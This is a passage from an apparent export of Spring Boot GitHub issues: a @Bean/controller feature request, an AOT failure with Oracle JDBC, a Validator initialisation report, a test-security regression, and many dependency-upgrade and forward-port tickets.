Beans created via @Configuration / @Bean are not considered MVC handler candidates unless the implementation class itself carries the controller annotation.

This couples:

* bean lifecycle definition (@Configuration, @Bean)
* with MVC role definition (@Controller / @RestController)

**Use case**

In feature-flagged applications, a spring bean or even a controller can be defined as bean conditionally exposed via configuration:

```
@Configuration
@ConditionalOnProperty(name = ""features.user.enabled"", havingValue = ""true"")
class UserWebConfiguration {

  @Bean
  UserController userController(UserService service) {
    return new UserController(service);
  }
}
```

**Limitation**

There is currently no supported mechanism to mark a bean created via @Bean as an MVC controller without annotating its implementation class.

As a result, MVC role assignment is strictly tied to class-level metadata rather than bean definition metadata.

**Existing Workarounds**

We can of course:
* annotate the RestController with ConditionalOnProperty
* or disable the package of the rest controller from the scan

But these are workarounds (the point was to be able to use a @Configuration to centralize the mocing parts of the module configuration).

**Relevant links**

* https://github.com/spring-projects/spring-boot/issues/34813#issueco... [TRUNCATED]",for: external-project,2026-05-29T16:23:29Z,2026-05-29T16:44:42Z,3
spring-projects/spring-boot,4548253766,Spring Boot processAot fails with ojdbc library in place,"With Spring Boot 4.x, having the `com.oracle.database.jdbc:ojdbcX` dependency in the project results in a failure to run the `processAot` task.
I'm specifically on `com.oracle.database.jdbc:ojdbc11:23.26.2.0.0`, but it happens with `ojdbc17` as well.
This same library on Spring Boot 3.x isn't causing any issues.

Trying to work around it by adding `com.oracle.database.ha:simplefan:23.26.2.0.0` just compounds on the issue as it then breaks and demands for another library, `com.oracle.database.xml:xdb:23.26.2.0.0`, which then breaks and demands for yet another, and so on and so forth -- all on libraries that I explicitly do not want on the project.

This is tested on Open JDK 17 and 21, both having the same issue.
I'm mentioning the JDK flavor here in particular because it seems Quarkus had a somewhat-similar issue in the past and blamed that, but this didn't help me here -- https://github.com/graalvm/mandrel/issues/252

Exception stacktrace:
```
Exception in thread ""main"" org.springframework.beans.factory.aot.AotBeanProcessingException: Error processing bean with name 'myRepository' defined in com.foo.bar.MyRepository defined in @EnableJpaRepositories declared on DataJpaRepositoriesRegistrar.EnableJpaRepositoriesConfiguration: failed to generate code for bean definition
        at org.springframework.beans.factory.aot.BeanRegistrationsAotContribution$BeanDefinitionsRegistrationGenerator.lambda$generateRegisterBeanDefinitionMethods$0(BeanRegistrationsAotContribution.java:280)
 ... [TRUNCATED]","status: invalid,for: external-project",2026-05-29T11:56:38Z,2026-05-29T12:24:21Z,1
spring-projects/spring-boot,4547787663,Remove the use of Optional from Data Neo4j repository examples,Forward port of issue #50621 to 4.1.x.,"type: documentation,status: forward-port",2026-05-29T10:41:55Z,2026-05-29T10:42:07Z,0
spring-projects/spring-boot,4547785218,Remove the use of Optional from Data Neo4j repository examples,Forward port of issue #50600 to 4.0.x.,"type: documentation,status: forward-port",2026-05-29T10:41:32Z,2026-05-29T10:42:07Z,0
spring-projects/spring-boot,4547759811,Fix typos in documentation,Forward port of issue #50619 to 4.1.x.,"type: documentation,status: forward-port",2026-05-29T10:37:00Z,2026-05-29T10:37:12Z,0
spring-projects/spring-boot,4547755522,Fix typos in documentation,Forward port of issue #50593 to 4.0.x.,"type: documentation,status: forward-port",2026-05-29T10:36:12Z,2026-05-29T10:37:11Z,0
spring-projects/spring-boot,4547726365,Docker Compose support does not restore thread interrupt flag when catching InterruptedException,Forward port of issue #50617 to 4.1.x.,"type: bug,status: forward-port",2026-05-29T10:31:07Z,2026-05-29T10:31:19Z,0
spring-projects/spring-boot,4547725399,Docker Compose support does not restore thread interrupt flag when catching InterruptedException,Forward port of issue #50451 to 4.0.x.,"type: bug,status: forward-port",2026-05-29T10:30:58Z,2026-05-29T10:31:18Z,0
spring-projects/spring-boot,4547657249,Use new Maven Resolver API for ModifiedClassPathClassLoader,Forward port of issue #50615 to 4.1.x.,"type: task,status: forward-port",2026-05-29T10:18:49Z,2026-05-29T10:19:10Z,0
spring-projects/spring-boot,4547600019,Use new Maven Resolver API for ModifiedClassPathClassLoader,Forward port of issue #50447 to 4.0.x.,"type: task,status: forward-port",2026-05-29T10:09:07Z,2026-05-29T10:19:09Z,0
spring-projects/spring-boot,4547463964,Clarify dependency requirement for Bean Validation support,Forward port of issue #50613 to 4.1.x.,"type: documentation,status: forward-port",2026-05-29T09:47:00Z,2026-05-29T09:47:13Z,0
spring-projects/spring-boot,4547462848,Clarify dependency requirement for Bean Validation support,Forward port of issue #50290 to 4.0.x.,"type: documentation,status: forward-port",2026-05-29T09:46:49Z,2026-05-29T09:47:12Z,0
spring-projects/spring-boot,4547401493,RabbitProperties enables SSL even when spring.rabbitmq.ssl.bundle is overridden to an empty string,Forward port of issue #50611 to 4.1.x.,"type: bug,status: forward-port",2026-05-29T09:36:06Z,2026-05-29T09:36:19Z,0
spring-projects/spring-boot,4547379380,RabbitProperties enables SSL even when spring.rabbitmq.ssl.bundle is overridden to an empty string,Forward port of issue #50429 to 4.0.x.,"type: bug,status: forward-port",2026-05-29T09:32:30Z,2026-05-29T09:36:18Z,0
spring-projects/spring-boot,4547261925,NullPointerException in reactor-netty SniProvider when SSL bundle uses client-auth or server truststore without server-name-bundles,Forward port of issue #50609 to 4.1.x.,"type: bug,status: forward-port",2026-05-29T09:13:59Z,2026-05-29T09:17:03Z,0
spring-projects/spring-boot,4547260997,NullPointerException in reactor-netty SniProvider when SSL bundle uses client-auth or server truststore without server-name-bundles,Forward port of issue #50301 to 4.0.x.,"type: bug,status: forward-port",2026-05-29T09:13:50Z,2026-05-29T09:17:02Z,0
spring-projects/spring-boot,4547141541,Upgrade to MongoDB 5.8.0,"Upgrade to [MongoDB 5.8.0](https://github.com/mongodb/mongo-java-driver/releases/tag/r5.8.0).

Supersedes #50584","type: dependency-upgrade,status: team-only",2026-05-29T08:55:32Z,2026-05-29T09:04:24Z,0
spring-projects/spring-boot,4547087801,Bump @antora/site-generator from 3.2.0-alpha.11 to 3.2.0-alpha.12 in /antora,Forward port of issue #50606 to 4.1.x.,"type: task,status: forward-port",2026-05-29T08:46:51Z,2026-05-29T08:47:01Z,0
spring-projects/spring-boot,4547087002,Bump @antora/site-generator from 3.2.0-alpha.11 to 3.2.0-alpha.12 in /antora,Forward port of issue #50463 to 4.0.x.,"type: task,status: forward-port",2026-05-29T08:46:43Z,2026-05-29T08:47:01Z,0
spring-projects/spring-boot,4546878252,Bump @antora/cli from 3.2.0-alpha.11 to 3.2.0-alpha.12 in /antora,Forward port of issue #50604 to 4.1.x.,"type: task,status: forward-port",2026-05-29T08:15:43Z,2026-05-29T08:15:57Z,0
spring-projects/spring-boot,4546876784,Bump @antora/cli from 3.2.0-alpha.11 to 3.2.0-alpha.12 in /antora,Forward port of issue #50464 to 4.0.x.,"type: task,status: forward-port",2026-05-29T08:15:32Z,2026-05-29T08:15:55Z,0
spring-projects/spring-boot,4538462577,Remove the use of Optional from Data Neo4j repository examples,"This is an issue with

org.springframework.boot.docs.data.nosql.neo4j.repositories.CityRepository

The single method returns a nullable Optional of type nullable City

Optional<City?>?

The use of Optional here is unnecessary and confusing. It makes no sense to return an Optional that could be null. 

Instead remove the Optional completely and instead just return a nullable City:

City? ","type: documentation,status: superseded",2026-05-28T07:12:23Z,2026-05-28T09:41:00Z,3
spring-projects/spring-boot,4538382141,Validator is initialized multiple times during startup,"While setting the log level to debug in a Spring Boot application that uses `spring-boot-starter-validation` I noticed that the Validator is built multiple times:
1. By [`JakartaValidationBackgroundPreinitializer`](https://github.com/spring-projects/spring-boot/blob/d6a23b72b887afd68e9a7097db1c004a65a06e90/module/spring-boot-validation/src/main/java/org/springframework/boot/validation/autoconfigure/JakartaValidationBackgroundPreinitializer.java)
2. During EntityManagerFactory initialization by Hibernate's `TypeSafeActivator#getValidatorFactory`
3. In `ConfigurationPropertiesBinder` https://github.com/spring-projects/spring-boot/blob/d6a23b72b887afd68e9a7097db1c004a65a06e90/core/spring-boot/src/main/java/org/springframework/boot/context/properties/ConfigurationPropertiesBinder.java#L181-L183
4. During resolution of bean `defaultValidator` (in `LocalValidatorFactoryBean`)
5. (Multiple times) again in `ConfigurationPropertiesBinder`

Currently each of these validators also parses `META-INF/validation.xml` which does not exist in my project and I would like to turn it therefore off.

```
DEBUG 22300 --- [kground-preinit] o.h.v.i.xml.config.ValidationXmlParser   : Trying to load META-INF/validation.xml for XML based Validator configuration.
DEBUG 22300 --- [kground-preinit] o.h.v.i.xml.config.ResourceLoaderHelper  : Trying to load META-INF/validation.xml via TCCL
DEBUG 22300 --- [kground-preinit] o.h.v.i.xml.config.ResourceLoaderHelper  : Trying to load META-INF/validation.xml via... [TRUNCATED]",status: declined,2026-05-28T06:58:22Z,2026-05-29T09:39:21Z,8
spring-projects/spring-boot,4534381204,WebTestClient + @WithMockUser auto configuration regression (spring security related),"Hi,

When switching from Spring Boot 3.x to Spring Boot 4.x I encountered some issues when using a `WebTestClient` in `@SpringBootTest` based integration tests that used `@WithMockUser` style security helper annotations.
When digging a bit deeper more differences appeared as shown below.

The issues can be observed by running the tests in this example project: https://github.com/gsedlacz/spring-boot-4-webtestclient-issue 

While the `main` branch contains the spring boot 4 based code I also created a `spring-boot-3` branch with almost the same code to showcase how the behavior changed.
Diff: https://github.com/gsedlacz/spring-boot-4-webtestclient-issue/compare/spring-boot-3?expand=1 

Test results:
spring boot 4
https://github.com/gsedlacz/spring-boot-4-webtestclient-issue/tree/main/src/test/java/com/example/spring_boot_4_webtest_client_security_test/web
<img width=""707"" height=""448"" alt=""Image"" src=""https://github.com/user-attachments/assets/d10c6be6-cde6-45ee-8370-858a77587cee"" />

spring boot 3
https://github.com/gsedlacz/spring-boot-4-webtestclient-issue/tree/spring-boot-3/src/test/java/com/example/spring_boot_4_webtest_client_security_test/web
<img width=""692"" height=""448"" alt=""Image"" src=""https://github.com/user-attachments/assets/2901a90f-43be-4e32-8640-96bd8f5838e7"" />

Observations so far:
1. `@AutoConfigureWebTestClient` now behaves differently when changing the `@SpringBoot` `webEnvironment`
2. `@WithMockUser` appears to get ignored now

Am I missing some new start... [TRUNCATED]",,2026-05-27T17:29:34Z,2026-05-29T09:56:01Z,7
spring-projects/spring-boot,4532571329,SpringJtaPlatform should have been deprecated since 4.1.0-M3,The deprecation should have happened as part of https://github.com/spring-projects/spring-boot/issues/48969.,type: bug,2026-05-27T13:11:35Z,2026-05-27T13:56:01Z,0
spring-projects/spring-boot,4531915017,Upgrade to SLF4J 2.0.18,Upgrade to SLF4J 2.0.18.,"type: dependency-upgrade,status: team-only",2026-05-27T11:20:10Z,2026-05-27T13:56:00Z,0
spring-projects/spring-boot,4531914571,Upgrade to Protobuf Java 4.34.2,Upgrade to [Protobuf Java 4.34.2](https://github.com/protocolbuffers/protobuf/releases/tag/v4.34.2).,"type: dependency-upgrade,status: team-only",2026-05-27T11:20:05Z,2026-05-27T13:55:59Z,0
spring-projects/spring-boot,4531914102,Upgrade to Protobuf Maven Plugin 5.1.4,Upgrade to [Protobuf Maven Plugin 5.1.4](https://github.com/ascopes/protobuf-maven-plugin/releases/tag/v5.1.4).,"type: dependency-upgrade,status: team-only",2026-05-27T11:20:01Z,2026-05-27T13:55:58Z,0
spring-projects/spring-boot,4531913651,Upgrade to OpenTelemetry 1.62.0,Upgrade to [OpenTelemetry 1.62.0](https://github.com/open-telemetry/opentelemetry-java/releases/tag/v1.62.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:19:56Z,2026-05-27T13:55:57Z,0
spring-projects/spring-boot,4531913123,Upgrade to Netty 4.2.14.Final,"Upgrade to [Netty 4.2.14.Final](https://github.com/netty/netty/releases/tag/netty-4.2.14.Final).

Supersedes #50348","type: task,status: superseded",2026-05-27T11:19:50Z,2026-05-27T13:55:56Z,0
spring-projects/spring-boot,4531912707,Upgrade to Neo4j Java Driver 6.1.0,Upgrade to [Neo4j Java Driver 6.1.0](https://github.com/neo4j/neo4j-java-driver/releases/tag/6.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:19:45Z,2026-05-27T13:55:55Z,0
spring-projects/spring-boot,4531912317,Upgrade to Native Build Tools Plugin 1.1.1,Upgrade to [Native Build Tools Plugin 1.1.1](https://github.com/graalvm/native-build-tools/releases/tag/1.1.1).,"type: dependency-upgrade,status: team-only",2026-05-27T11:19:41Z,2026-05-27T13:55:54Z,0
spring-projects/spring-boot,4531911883,Upgrade to MongoDB 5.7.0,Upgrade to [MongoDB 5.7.0](https://github.com/mongodb/mongo-java-driver/releases/tag/r5.7.0).,"type: task,status: superseded",2026-05-27T11:19:36Z,2026-05-27T13:55:54Z,0
spring-projects/spring-boot,4531911480,Upgrade to Maven Enforcer Plugin 3.6.3,Upgrade to [Maven Enforcer Plugin 3.6.3](https://github.com/apache/maven-enforcer/releases/tag/enforcer-3.6.3).,"type: dependency-upgrade,status: team-only",2026-05-27T11:19:32Z,2026-05-27T13:55:53Z,0
spring-projects/spring-boot,4531911047,Upgrade to Liquibase 5.0.3,Upgrade to [Liquibase 5.0.3](https://github.com/liquibase/liquibase/releases/tag/v5.0.3).,"type: dependency-upgrade,status: team-only",2026-05-27T11:19:27Z,2026-05-27T13:55:52Z,0
spring-projects/spring-boot,4531910648,Upgrade to Lettuce 7.5.2.RELEASE,Upgrade to [Lettuce 7.5.2.RELEASE](https://github.com/redis/lettuce/releases/tag/7.5.2.RELEASE).,"type: dependency-upgrade,status: team-only",2026-05-27T11:19:23Z,2026-05-27T13:55:51Z,0
spring-projects/spring-boot,4531910130,Upgrade to jOOQ 3.21.4,"Upgrade to [jOOQ 3.21.4](https://github.com/jOOQ/jOOQ/releases/tag/version-3.21.4).

Supersedes #50346","type: task,status: superseded",2026-05-27T11:19:17Z,2026-05-27T13:55:50Z,0
spring-projects/spring-boot,4531909736,Upgrade to Jaxen 2.0.3,Upgrade to [Jaxen 2.0.3](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.3).,"type: task,status: superseded",2026-05-27T11:19:12Z,2026-05-27T13:55:49Z,0
spring-projects/spring-boot,4531909063,Upgrade to Hibernate 7.4.0.Final,"Upgrade to [Hibernate 7.4.0.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.4.0).

Supersedes #50430","type: task,status: superseded",2026-05-27T11:19:06Z,2026-05-27T13:55:48Z,0
spring-projects/spring-boot,4531908569,Upgrade to Elasticsearch Client 9.4.1,Upgrade to [Elasticsearch Client 9.4.1](https://www.elastic.co/docs/release-notes/elasticsearch/clients/java/9-4-1).,"type: task,status: superseded",2026-05-27T11:19:01Z,2026-05-27T13:55:47Z,0
spring-projects/spring-boot,4531908144,Upgrade to Couchbase Client 3.11.3,Upgrade to [Couchbase Client 3.11.3](https://docs.couchbase.com/java-sdk/current/project-docs/sdk-release-notes.html).,"type: dependency-upgrade,status: team-only",2026-05-27T11:18:57Z,2026-05-27T13:55:45Z,0
spring-projects/spring-boot,4531870398,Upgrade to Spring WS 5.0.2,Upgrade to [Spring WS 5.0.2](https://github.com/spring-projects/spring-ws/releases/tag/v5.0.2).,"type: dependency-upgrade,status: team-only",2026-05-27T11:12:26Z,2026-06-10T05:59:28Z,0
spring-projects/spring-boot,4531869987,Upgrade to Spring Session 4.1.0,Upgrade to [Spring Session 4.1.0](https://github.com/spring-projects/spring-session/releases/tag/4.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:12:21Z,2026-06-10T05:59:27Z,0
spring-projects/spring-boot,4531869421,Upgrade to Spring Security 7.1.0,Upgrade to [Spring Security 7.1.0](https://github.com/spring-projects/spring-security/releases/tag/7.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:12:17Z,2026-06-09T17:07:23Z,0
spring-projects/spring-boot,4531869003,Upgrade to Spring RESTDocs 4.0.1,Upgrade to [Spring RESTDocs 4.0.1](https://github.com/spring-projects/spring-restdocs/releases/tag/v4.0.1).,"type: dependency-upgrade,status: team-only",2026-05-27T11:12:12Z,2026-06-09T11:25:08Z,0
spring-projects/spring-boot,4531868605,Upgrade to Spring Pulsar 2.0.6,Upgrade to [Spring Pulsar 2.0.6](https://github.com/spring-projects/spring-pulsar/releases/tag/v2.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27T11:12:07Z,2026-06-09T17:07:22Z,0
spring-projects/spring-boot,4531868165,Upgrade to Spring LDAP 4.1.0,Upgrade to [Spring LDAP 4.1.0](https://github.com/spring-projects/spring-ldap/releases/tag/4.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:12:03Z,2026-06-09T11:25:08Z,0
spring-projects/spring-boot,4531867607,Upgrade to Spring Kafka 4.1.0,Upgrade to [Spring Kafka 4.1.0](https://github.com/spring-projects/spring-kafka/releases/tag/v4.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:58Z,2026-06-09T19:49:03Z,0
spring-projects/spring-boot,4531867132,Upgrade to Spring Integration 7.1.0,Upgrade to [Spring Integration 7.1.0](https://github.com/spring-projects/spring-integration/releases/tag/v7.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:54Z,2026-06-10T15:21:52Z,0
spring-projects/spring-boot,4531866693,Upgrade to Spring HATEOAS 3.1.1,Upgrade to [Spring HATEOAS 3.1.1](https://github.com/spring-projects/spring-hateoas/releases/tag/3.1.1).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:49Z,2026-06-09T11:25:00Z,0
spring-projects/spring-boot,4531866321,Upgrade to Spring gRPC 1.1.0,Upgrade to [Spring gRPC 1.1.0](https://github.com/spring-projects/spring-grpc/releases/tag/v1.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:45Z,2026-06-09T17:07:21Z,0
spring-projects/spring-boot,4531865827,Upgrade to Spring Framework 7.0.8,Upgrade to [Spring Framework 7.0.8](https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:40Z,2026-06-09T11:25:07Z,0
spring-projects/spring-boot,4531865389,Upgrade to Spring Data Bom 2026.0.0,Upgrade to [Spring Data Bom 2026.0.0](https://github.com/spring-projects/spring-data-bom/releases/tag/2026.0.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:36Z,2026-06-09T11:25:06Z,0
spring-projects/spring-boot,4531864824,Upgrade to Spring Batch 6.0.4,Upgrade to [Spring Batch 6.0.4](https://github.com/spring-projects/spring-batch/releases/tag/v6.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:31Z,2026-06-10T15:21:54Z,0
spring-projects/spring-boot,4531864361,Upgrade to Spring AMQP 4.1.0,Upgrade to [Spring AMQP 4.1.0](https://github.com/spring-projects/spring-amqp/releases/tag/v4.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:26Z,2026-06-09T17:07:21Z,0
spring-projects/spring-boot,4531863967,Upgrade to Reactor Bom 2025.0.6,Upgrade to [Reactor Bom 2025.0.6](https://github.com/reactor/reactor/releases/tag/2025.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:22Z,2026-06-09T11:25:05Z,0
spring-projects/spring-boot,4531863572,Upgrade to Micrometer Tracing 1.7.0,Upgrade to [Micrometer Tracing 1.7.0](https://github.com/micrometer-metrics/tracing/releases/tag/v1.7.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:17Z,2026-06-09T11:25:04Z,0
spring-projects/spring-boot,4531863148,Upgrade to Micrometer 1.17.0,Upgrade to [Micrometer 1.17.0](https://github.com/micrometer-metrics/micrometer/releases/tag/v1.17.0).,"type: dependency-upgrade,status: team-only",2026-05-27T11:11:13Z,2026-06-09T11:25:03Z,0
spring-projects/spring-boot,4531477916,Upgrade to SLF4J 2.0.18,Upgrade to SLF4J 2.0.18.,"type: dependency-upgrade,status: team-only",2026-05-27T10:08:39Z,2026-05-27T11:02:02Z,0
spring-projects/spring-boot,4531477339,Upgrade to Netty 4.2.14.Final,"Upgrade to [Netty 4.2.14.Final](https://github.com/netty/netty/releases/tag/netty-4.2.14.Final).

Supersedes #50331","type: task,status: superseded",2026-05-27T10:08:33Z,2026-05-27T11:02:02Z,0
spring-projects/spring-boot,4531476791,Upgrade to Neo4j Java Driver 6.1.0,Upgrade to [Neo4j Java Driver 6.1.0](https://github.com/neo4j/neo4j-java-driver/releases/tag/6.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27T10:08:28Z,2026-05-27T11:02:01Z,0
spring-projects/spring-boot,4531476300,Upgrade to Maven Enforcer Plugin 3.6.3,Upgrade to [Maven Enforcer Plugin 3.6.3](https://github.com/apache/maven-enforcer/releases/tag/enforcer-3.6.3).,"type: dependency-upgrade,status: team-only",2026-05-27T10:08:23Z,2026-05-27T11:02:00Z,0
spring-projects/spring-boot,4531475810,Upgrade to Liquibase 5.0.3,Upgrade to [Liquibase 5.0.3](https://github.com/liquibase/liquibase/releases/tag/v5.0.3).,"type: dependency-upgrade,status: team-only",2026-05-27T10:08:18Z,2026-05-27T11:02:00Z,0
spring-projects/spring-boot,4531475266,Upgrade to jOOQ 3.19.34,"Upgrade to [jOOQ 3.19.34](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.34).

Supersedes #50330","type: task,status: superseded",2026-05-27T10:08:12Z,2026-05-27T11:01:59Z,0
spring-projects/spring-boot,4531474532,Upgrade to Jaxen 2.0.3,Upgrade to [Jaxen 2.0.3](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.3).,"type: task,status: superseded",2026-05-27T10:08:07Z,2026-05-27T11:01:58Z,0
spring-projects/spring-boot,4531473803,Upgrade to Hibernate 7.2.16.Final,"Upgrade to [Hibernate 7.2.16.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.16).

Supersedes #50325","type: task,status: superseded",2026-05-27T10:08:00Z,2026-05-27T11:01:57Z,0
spring-projects/spring-boot,4531451070,Upgrade to Spring WS 5.0.2,Upgrade to [Spring WS 5.0.2](https://github.com/spring-projects/spring-ws/releases/tag/v5.0.2).,"type: dependency-upgrade,status: team-only",2026-05-27T10:04:28Z,2026-06-10T05:59:28Z,0
spring-projects/spring-boot,4531450519,Upgrade to Spring Session 4.0.4,Upgrade to [Spring Session 4.0.4](https://github.com/spring-projects/spring-session/releases/tag/4.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27T10:04:23Z,2026-06-10T05:59:27Z,0
spring-projects/spring-boot,4531450083,Upgrade to Spring Security 7.0.6,Upgrade to [Spring Security 7.0.6](https://github.com/spring-projects/spring-security/releases/tag/7.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27T10:04:18Z,2026-06-09T19:49:03Z,0
spring-projects/spring-boot,4531449684,Upgrade to Spring RESTDocs 4.0.1,Upgrade to [Spring RESTDocs 4.0.1](https://github.com/spring-projects/spring-restdocs/releases/tag/v4.0.1).,"type: dependency-upgrade,status: team-only",2026-05-27T10:04:14Z,2026-06-09T11:32:07Z,0
spring-projects/spring-boot,4531449272,Upgrade to Spring Pulsar 2.0.6,Upgrade to [Spring Pulsar 2.0.6](https://github.com/spring-projects/spring-pulsar/releases/tag/v2.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27T10:04:09Z,2026-06-09T19:49:02Z,0
spring-projects/spring-boot,4531448786,Upgrade to Spring LDAP 4.0.4,Upgrade to [Spring LDAP 4.0.4](https://github.com/spring-projects/spring-ldap/releases/tag/4.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27T10:04:04Z,2026-06-09T11:32:07Z,0
spring-projects/spring-boot,4531448391,Upgrade to Spring Kafka 4.0.6,Upgrade to [Spring Kafka 4.0.6](https://github.com/spring-projects/spring-kafka/releases/tag/v4.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27T10:04:00Z,2026-06-09T19:49:02Z,0
spring-projects/spring-boot,4531447839,Upgrade to Spring Integration 7.0.5,Upgrade to [Spring Integration 7.0.5](https://github.com/spring-projects/spring-integration/releases/tag/v7.0.5).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:55Z,2026-06-10T15:21:52Z,0
spring-projects/spring-boot,4531447441,Upgrade to Spring HATEOAS 3.0.4,Upgrade to [Spring HATEOAS 3.0.4](https://github.com/spring-projects/spring-hateoas/releases/tag/3.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:50Z,2026-06-09T11:32:06Z,0
spring-projects/spring-boot,4531447052,Upgrade to Spring Framework 7.0.8,Upgrade to [Spring Framework 7.0.8](https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:46Z,2026-06-09T11:32:06Z,0
spring-projects/spring-boot,4531446628,Upgrade to Spring Data Bom 2025.1.6,Upgrade to [Spring Data Bom 2025.1.6](https://github.com/spring-projects/spring-data-bom/releases/tag/2025.1.6).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:41Z,2026-06-09T11:32:05Z,0
spring-projects/spring-boot,4531446092,Upgrade to Spring Batch 6.0.4,Upgrade to [Spring Batch 6.0.4](https://github.com/spring-projects/spring-batch/releases/tag/v6.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:36Z,2026-06-10T15:21:53Z,0
spring-projects/spring-boot,4531445671,Upgrade to Spring AMQP 4.0.4,Upgrade to [Spring AMQP 4.0.4](https://github.com/spring-projects/spring-amqp/releases/tag/v4.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:31Z,2026-06-09T19:49:01Z,0
spring-projects/spring-boot,4531445240,Upgrade to Reactor Bom 2025.0.6,Upgrade to [Reactor Bom 2025.0.6](https://github.com/reactor/reactor/releases/tag/2025.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:27Z,2026-06-09T11:32:04Z,0
spring-projects/spring-boot,4531444689,Upgrade to Micrometer Tracing 1.6.6,Upgrade to [Micrometer Tracing 1.6.6](https://github.com/micrometer-metrics/tracing/releases/tag/v1.6.6).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:22Z,2026-06-09T11:32:03Z,0
spring-projects/spring-boot,4531444253,Upgrade to Micrometer 1.16.6,Upgrade to [Micrometer 1.16.6](https://github.com/micrometer-metrics/micrometer/releases/tag/v1.16.6).,"type: dependency-upgrade,status: team-only",2026-05-27T10:03:17Z,2026-06-09T11:32:03Z,0
spring-projects/spring-boot,4531202234,Upgrade to Tomcat 10.1.55,Upgrade to [Tomcat 10.1.55](https://tomcat.apache.org/tomcat-10.1-doc/changelog.html).,"type: dependency-upgrade,status: team-only",2026-05-27T09:26:51Z,2026-05-27T09:59:41Z,0
spring-projects/spring-boot,4531201807,Upgrade to SLF4J 2.0.18,Upgrade to SLF4J 2.0.18.,"type: dependency-upgrade,status: team-only",2026-05-27T09:26:47Z,2026-05-27T09:59:40Z,0
spring-projects/spring-boot,4531200625,Upgrade to Netty 4.1.134.Final,"Upgrade to [Netty 4.1.134.Final](https://github.com/netty/netty/releases/tag/netty-4.1.134.Final).

Supersedes #50316","type: task,status: superseded",2026-05-27T09:26:40Z,2026-05-27T09:59:40Z,0
spring-projects/spring-boot,4531199877,Upgrade to jOOQ 3.19.34,"Upgrade to [jOOQ 3.19.34](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.34).

Supersedes #50315","type: task,status: superseded",2026-05-27T09:26:32Z,2026-05-27T09:59:39Z,0
spring-projects/spring-boot,4531199329,Upgrade to Jaxen 2.0.3,Upgrade to [Jaxen 2.0.3](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.3).,"type: task,status: superseded",2026-05-27T09:26:28Z,2026-05-27T09:59:38Z,0
spring-projects/spring-boot,4531198326,Upgrade to Hibernate 6.6.51.Final,"Upgrade to [Hibernate 6.6.51.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.51).

Supersedes #50311","type: task,status: superseded",2026-05-27T09:26:20Z,2026-05-27T09:59:37Z,0
spring-projects/spring-boot,4531157112,Upgrade to Spring WS 4.1.4,Upgrade to [Spring WS 4.1.4](https://github.com/spring-projects/spring-ws/releases/tag/v4.1.4).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:54Z,2026-06-10T05:59:26Z,0
spring-projects/spring-boot,4531156718,Upgrade to Spring Session 3.5.7,Upgrade to [Spring Session 3.5.7](https://github.com/spring-projects/spring-session/releases/tag/3.5.7).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:49Z,2026-06-10T05:59:25Z,0
spring-projects/spring-boot,4531156256,Upgrade to Spring Security 6.5.11,Upgrade to [Spring Security 6.5.11](https://github.com/spring-projects/spring-security/releases/tag/6.5.11).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:45Z,2026-06-09T19:49:00Z,0
spring-projects/spring-boot,4531155801,Upgrade to Spring Retry 2.0.13,Upgrade to [Spring Retry 2.0.13](https://github.com/spring-projects/spring-retry/releases/tag/v2.0.13).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:40Z,2026-06-09T11:38:06Z,0
spring-projects/spring-boot,4531155222,Upgrade to Spring RESTDocs 3.0.6,Upgrade to [Spring RESTDocs 3.0.6](https://github.com/spring-projects/spring-restdocs/releases/tag/v3.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:35Z,2026-06-09T11:38:06Z,0
spring-projects/spring-boot,4531154596,Upgrade to Spring Pulsar 1.2.18,Upgrade to [Spring Pulsar 1.2.18](https://github.com/spring-projects/spring-pulsar/releases/tag/v1.2.18).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:31Z,2026-06-09T19:49:00Z,0
spring-projects/spring-boot,4531154177,Upgrade to Spring LDAP 3.3.8,Upgrade to [Spring LDAP 3.3.8](https://github.com/spring-projects/spring-ldap/releases/tag/3.3.8).,"type: dependency-upgrade,status: team-only",2026-05-27T09:20:26Z,2026-06-09T11:38:05Z,0
